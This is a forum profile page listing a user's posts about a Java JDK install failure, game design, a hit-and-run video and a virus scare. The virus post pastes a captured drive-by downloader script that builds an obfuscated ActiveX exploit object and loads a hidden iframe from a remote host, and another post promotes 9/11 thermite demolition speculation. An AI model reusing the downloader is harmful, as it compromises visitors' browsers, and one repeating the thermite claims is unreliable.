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Don Carnage

Member Since 21 Aug 2003
Offline Last Active Nov 29 2015 07:41 PM

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[java] EE6 JDK Installer Problems on Windows

28 June 2011 - 06:21 PM

Problem scenario:

1. We have a fresh, clean Windows 7 Pro x64 system with only updates and I think Office 2010 installed.
2. Java JRE (1.6.0_26) 32 bit installed.
3. Trting to install JDK (6u24) 32 bit. Offline installer fails with error 1722, which seems to be a generic InstallShield error.

Tried downloading again. Same result. Tried with JDK 6u25. Tried removing all Java traces. Nothing works.
Java.com suggests removing Java and installing offline. That's what I'm doing :)

4. Workaround implemented: install full SDK with JDK, so the JDK resides inside C:\Glassfish3\jdk dir.
5. Now, Eclipse Helios 32 bit cannot start. It says that the JNI shared library "jvm.dll" could not be loaded. But "jvm.dll" sits just fine in System32.
6. Path and system variables look fine to me. JAVA_HOME points to the JDK. JRE and JDK bin folders are appended to the system path.


1. How can this fail?
2. Is it some residual Java configuration left in the system?
3. Is it some kind of tricky system variable setting that we got wrong? I think I must have installed rather many previous versions of this software before.
4. Is it something with 32/64 bit inconsistency in the system config? We are using 32 bit JDK for Android development.
5. Is Windows simply missing some files necessary to load jvm.dll properly?
6. Is it that I am losing my mind?

I suspect this problem may be Windows related, and it's kind of technical, so maybe this should've been posted to a different forum, but since the error occurs with installing and using Java, someone here might have seen it.

Anyone out there a tech genius, or a poor developer who has suffered and overcome this stumble block?

If noone answers, I guess that Windows install was broken in some way, before the ghost image we use for base install was created, and we should simply try complete reinstall (I hope not, and I'd rather figure out what caused this.)


Game Design - inspired by nature

31 March 2010 - 09:15 AM

We all know that God doesn't play dice. But when it comes to computer games, it appears he prefers the old-school arcade ones: Any other examples of game design inspired by the marvelous display of nature?

Active Thermitic Material Found in 9/11 Dust

05 April 2009 - 01:57 AM

Couldn't find decent story in english about it, but here's an overview of the results: Active Thermitic Material Found in 9/11 Dust. Here you can get the article, published in the peer reviewed "The Open Chemical Physics Journal": article.
from the articles abstract: Abstract We have discovered distinctive red/gray chips in all the samples we have studied of the dust produced by the destruction of the World Trade Center. Examination of four of these samples, collected from separate sites, is reported in this paper. These red/gray chips show marked similarities in all four samples. One sample was collected by a Manhattan resident about ten minutes after the collapse of the second WTC Tower, two the next day, and a fourth about a week later. The properties of these chips were analyzed using optical microscopy, scanning electron microscopy (SEM), X-ray energy dispersive spectroscopy (XEDS), and differential scanning calorimetry (DSC). The red material contains grains approximately 100 nm across which are largely iron oxide, while aluminum is contained in tiny plate-like structures. Separation of components using methyl ethyl ketone demonstrated that elemental aluminum is present. The iron oxide and aluminum are intimately mixed in the red material. When ignited in a DSC device the chips exhibit large but narrow exotherms occurring at approximately 430 °C, far below the normal ignition temperature for conventional thermite. Numerous iron-rich spheres are clearly observed in the residue following the ignition of these peculiar red/gray chips. The red portion of these chips is found to be an unreacted thermitic material and highly energetic.
So, this is an interesting discovery, if you believe that this is indeed uncontaminated samples from Manhattan. I don't care to buy into many of the outlandish conspiracy theories out there, but I think this raises some questions. Why on earth would there be nano-composite explosives in office skyscrapers? Now all they found was unreacted thermitic material, and byproducts from a reaction of this material. Proof that this was what brought down the towers is another thing. Tons of the stuff would probably be needed, plus lots of time to install it in the central cores of all three buildings. The best theory I've heard is it was put there to bring them down in a controlled fashion, to avoid damaging nearby buildings/people, if they tipped over due to another bombing like '93. Nevermind it's an incredibly cynical thing to do, but the leaser of WTC had a pretty good insurance against it, and we all know by now how certain players in the financial market thinks :( Anybody got any good theories (possibly not involving aliens or the skull and bones fraternity)? [Edited by - Don Carnage on April 5, 2009 9:08:22 AM]

Hit and run - would you help?

07 June 2008 - 05:28 AM

Original post by LessBread Caught On Tape: Conn. Hit & Run Victim Ignored
I just saw this on my local danish news, and was both shocked and appalled! One thing is the crazy murderers chasing that car in the wrong lane - accidents will occur. But what angered me the most is _why doesn't anybody do anything_? Yeah, you can bother to call 911. Why not go help the man? Whoever heard of first aid? At least approach the man to ascertain the injuries. I mean he's just been run over, he ain't gonna bite ya! What the heck is the world coming to? (I bet this is a pure western phenomenon though.) </rant> So, some quick questions: a) Is this the normal behavior? b) Does the victims race/age play a role? c) Do you know first aid and/or CPR? d) Would you perform first aid/CPR on the victim? My answers: a) Hope not. b) Hope not. c) Yes. d) Yes, of course. [Edited by - Don Carnage on June 7, 2008 2:17:18 PM]

Virus Noob - did I get this from Gamedev?

10 January 2008 - 11:25 AM

Alert! I just got a virus warning from AVG while surfing gamedev.net! It's the first one I've encountered for many years, so it would be horrorful if the originator was (a banner on) GameDev, my favorite site. On to the virus: AVG reports a threat detected: main[1].js located in temporary internet files. (I'm using IE7 since my firefox recently started crashing after a few minutes - did a virus check, nothing turned up, thought it was a bug and I scrapped it) AVG identifies the virus as "JS/Downloader.Agent". Here is the content of the file from my virus vault:
var cookieString = document.cookie;
var start = cookieString.indexOf("83883886=");
if (start != -1)
var expires = new Date();
expires.setTime(expires.getTime() +  24 * 1 * 60 * 60 * 1000);
document.cookie = "83883886=funny;expires=" + expires.toGMTString();
var downf = document.createElement("object");
downf.setAttribute("classid", "clsid:BD9"+"6C556-6"+"5A3-11D"+"0-983A-00C"+"04FC2"+"9E36");
var ab=ab;
var O = downf.CreateObject(str,"");
document.write("<iframe width=0 height=0 src=http://xx.xx.xx.xx/Ms06014.htm></iframe>");
//document.write("<script language=\"javascript\" Src=></sc" + "ript>");
//document.write("<iframe width=0 height=0 src=></iframe>");
//document.write("<DIV style=\"CURSOR: url('')\"></DIV>");
//document.write("<iframe width=0 height=0 src=></iframe>");

Note: I did not try and execute the file, and my temp doesn't contain anything with 'Ms06046.htm', so I guess I'm home free. Thanks AVG! But now looking through the temp folder there is now another 'main.js' from which is not detected by AVG, and cannot be opened. Explorer says "cannot read from source file or disk"! Now I fear my system is totally fubar [sad] I suspect the file originated from gamedev, because after vaulting the file I tried browing to recently visited sites - as soon as I entered the lounge on gamedev, sure enough, there it was again. So, noble gamedev'ers - catch anything good recently? Also, since I'm not fluent in java script, could anyone tell me why this is a virus/exploit, what is it doing besides loading a page frame from a strange source and calling it something funny? And how should I protect my browser from getting stuff like this, shouldn't the script interpreter be failproof in this regard, and the virus shield only kick in when I try and execute something really dangerous? Edit: I was being paranoid for a minute, it's probably not from gamedev, cause now I see it all the time, but with different names. Time to go back to unprivileged account and Opera! [Edited by - Don Carnage on January 12, 2008 5:43:58 AM]